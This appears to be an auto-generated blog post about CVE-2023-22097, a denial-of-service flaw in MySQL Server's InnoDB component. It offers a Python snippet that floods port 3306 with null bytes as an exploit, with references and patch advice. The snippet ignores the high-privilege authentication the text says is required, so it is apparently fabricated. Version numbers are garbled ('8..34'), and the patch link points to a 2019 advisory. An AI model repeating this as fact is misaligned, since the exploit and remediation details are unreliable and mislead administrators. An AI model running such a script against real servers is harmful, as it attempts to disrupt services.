CVE-2023-22097: Vulnerability in MySQL Server InnoDB Component Leads to Potential DoS Attacks

A newly discovered vulnerability, dubbed CVE-2023-22097, has been identified in the MySQL Server product of Oracle MySQL. The vulnerable component, InnoDB, is present in supported versions 8..34 and prior, as well as version 8.1.. This easily exploitable vulnerability could allow a high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful exploitation of this vulnerability may result in an unauthorized ability to cause a hang or frequently repeatable crash (complete DoS) of MySQL Server. The CVSS 3.1 Base Score is 4.9, primarily impacting the availability of the system. The CVSS Vector is (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

Exploit Details

It is important for administrators to be aware of this vulnerability and take the necessary steps to mitigate the risk it poses to their systems. This exploit can be executed by an attacker with high privileges and network access through various protocols, ultimately leading to a full denial of service (DoS) attack on the targeted system.

To illustrate this vulnerability, let's consider the following code snippet

import socket

target = 'TARGET IP ADDRESS'
port = 3306

# Craft malicious payload
payload = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" * 4096

# Establish connection and send payload
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.send(payload)
s.close()

This example demonstrates how an attacker could easily craft a malicious payload and send it to a target system's MySQL Server, causing a hang or frequently repeatable crash, leading to a complete denial of service.

To learn more about this vulnerability and its specifics, refer to the following original references

1. Oracle Security Alert: https://www.oracle.com/security-alerts/alert-cve-2023-22097.html
2. MySQL Release Notes: https://dev.mysql.com/doc/relnotes/mysql/8./en/news-8--34.html
3. National Vulnerability Database (NVD): https://nvd.nist.gov/vuln/detail/CVE-2023-22097

Mitigation

To mitigate the risks associated with this vulnerability, it is recommended that administrators apply the appropriate patches from Oracle as soon as possible. The latest patch updates can be found at the following link:

https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html

Additionally, administrators should implement strong access controls for their MySQL Server environment to minimize the chances of unauthorized access and reduce the potential impact of this vulnerability.

Conclusion

CVE-2023-22097 is a serious vulnerability discovered in the MySQL Server product of Oracle MySQL, specifically in the InnoDB component. The affected versions are 8..34 and prior, as well as version 8.1.. The vulnerability can be easily exploited by high privileged attackers with network access, leading to a complete denial of service attack on the target system. Administrators should be vigilant in keeping their systems updated with the latest patches and maintaining strong access controls to reduce the possible impact of this exploit.

Timeline

Published on: 10/17/2023 22:15:00 UTC
Last modified on: 10/19/2023 09:41:00 UTC